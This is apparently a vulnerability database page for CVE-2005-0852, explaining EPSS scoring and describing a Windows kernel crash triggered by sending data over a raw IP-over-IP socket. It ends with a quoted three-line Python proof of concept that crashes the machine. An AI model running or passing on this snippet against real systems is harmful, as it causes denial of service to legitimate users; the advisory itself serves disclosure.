CVE-2005-0852 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

The issue is reported to manifest when a raw IP over IP socket is created and data is transferred over the newly created socket. It is reported that this operation causes the kernel of the Windows computer to crash, resulting in the computer rebooting. If this issue can be triggered reliably, a local attacker may exploit the issue to deny service for legitimate users. Further investigation into this issue is ongoing; this BID will be updated as soon as more details are available. import socket s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4) s.sendto("",("x.x.x.x",0)) Press ENTER and your win box should crash immediately.
